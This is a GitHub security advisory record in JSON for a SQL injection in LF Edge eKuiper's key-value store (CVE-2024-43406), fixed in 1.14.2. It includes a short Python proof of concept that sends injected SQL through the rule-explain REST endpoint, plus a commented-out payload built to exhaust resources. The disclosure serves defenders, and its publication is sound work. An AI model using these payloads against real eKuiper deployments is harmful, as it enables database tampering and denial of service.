{"id":"GHSA-r5ph-4jxm-6j9p","summary":"LF Edge eKuiper has a SQL Injection in sqlKvStore","details":"### Summary\nA user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. \n\n### Details\nI will use explainRuleHandler (\"/rules/{name}/explain\") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.\n\nThe SQL injection can happen in the code:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93\nThe code to accept user input is:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277\n\nThe rule id in the above code can be used to exploit SQL query.\n\nNote that the delete function is also vulnerable:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141\n\n### PoC\n```\nimport requests\nfrom urllib.parse import quote\n\n# SELECT val FROM 'xxx' WHERE key='%s';\npayload = f\"\"\"'; ATTACH DATABASE 'test93' AS test93;\nCREATE TABLE test93.pwn (dataz text);\nINSERT INTO test93.pwn (dataz) VALUES (\"sql injection\");--\"\"\"\n\n#payload = \"deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--\"\n\nurl = f\"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain\"   # explainRuleHandler\n\nres = requests.get(url)\nprint(res.content)\n```\n\nThe screenshot shows the malicious SQL query to insert a value:\n![image](https://github.com/user-attachments/assets/baf035cc-a561-4909-8d1f-e455e75375cb)\n\nThe screenshot shows the breakpoint of executing the query:\n![image](https://github.com/user-attachments/assets/b9c29945-a0cc-4271-bdc8-c1bddfda5b6f)\n\n\n\n\n### Impact\nSQL Injection vulnerability\n\nThe reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.\n","aliases":["CVE-2024-43406","GO-2024-3078","PYSEC-2024-72"],"modified":"2026-09-15T06:32:56.107014297Z","published":"2024-08-20T20:04:31Z","database_specific":{"nvd_published_at":"2024-08-20T15:15:24Z","cwe_ids":["CWE-89"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2024-08-20T20:04:31Z"},"references":[{"type":"WEB","url":"https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43406"},{"type":"WEB","url":"https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503"},{"type":"PACKAGE","url":"https://github.com/lf-edge/ekuiper"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ekuiper/PYSEC-2024-72.yaml"}],"affected":[{"package":{"name":"github.com/lf-edge/ekuiper","ecosystem":"Go","purl":"pkg:golang/github.com/lf-edge/ekuiper"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.14.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/08/GHSA-r5ph-4jxm-6j9p/GHSA-r5ph-4jxm-6j9p.json"}},{"package":{"name":"ekuiper","ecosystem":"PyPI","purl":"pkg:pypi/ekuiper"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.14.2"}]}],"versions":["0.0.1.post10035392509","0.0.1.post10469657945","0.0.1.post10592133245","0.0.1.post10917063435","0.0.1.post11433945270","0.0.1.post11434361037","0.0.1.post11771214162","0.0.1.post12369050331","0.0.1.post14569587727","0.0.1.post15011016639","0.0.1.post15265245754","0.0.1.post1529761077","0.0.1.post16017439871","0.0.1.post16212420887","0.0.1.post1640190752","0.0.1.post16436220442","0.0.1.post1656951467","0.0.1.post1661454534","0.0.1.post1707338123","0.0.1.post17425391204","0.0.1.post17934265679","0.0.1.post18767826745","0.0.1.post1926549727","0.0.1.post19563876430","0.0.1.post2080668443","0.0.1.post2238139389","0.0.1.post24644496127","0.0.1.post2474892687","0.0.1.post24975255951","0.0.1.post26427369374","0.0.1.post2757722354","0.0.1.post2910672767","0.0.1.post2911616762","0.0.1.post3144438011","0.0.1.post31763794892","0.0.1.post3239329472","0.0.1.post3334144675","0.0.1.post3334852441","0.0.1.post3410331757","0.0.1.post3411321026","0.0.1.post34304345391","0.0.1.post3495668732","0.0.1.post3545948676","0.0.1.post3712037225","0.0.1.post3764011091","0.0.1.post3936265927","0.0.1.post3954842791","0.0.1.post4180521993","0.0.1.post4435707843","0.0.1.post4562358382","0.0.1.post4720014312","0.0.1.post5010322351","0.0.1.post5065833905","0.0.1.post5265725915","0.0.1.post5484225879","0.0.1.post5899657036","0.0.1.post6045113904","0.0.1.post6144238120","0.0.1.post6453363172","0.0.1.post6555916078","0.0.1.post6820182077","0.0.1.post7205401650","0.0.1.post7257106983","0.0.1.post7404344961","0.0.1.post7405252226","0.0.1.post7458781898","0.0.1.post7797037221","0.0.1.post7983964087","0.0.1.post8014428509","0.0.1.post8150341330","0.0.1.post8273699428","0.0.1.post8319707068","0.0.1.post8478752636","0.0.1.post8782256682","0.0.1.post8813247801","0.0.1.post8829897389","0.0.1.post9220188115","0.0.1.post9638601298","0.0.1.post9690215560","0.0.1.post9736400841","1.10.0","1.10.1","1.10.2","1.11.0","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.12.6","1.12.7","1.12.8","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1","1.9.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/08/GHSA-r5ph-4jxm-6j9p/GHSA-r5ph-4jxm-6j9p.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}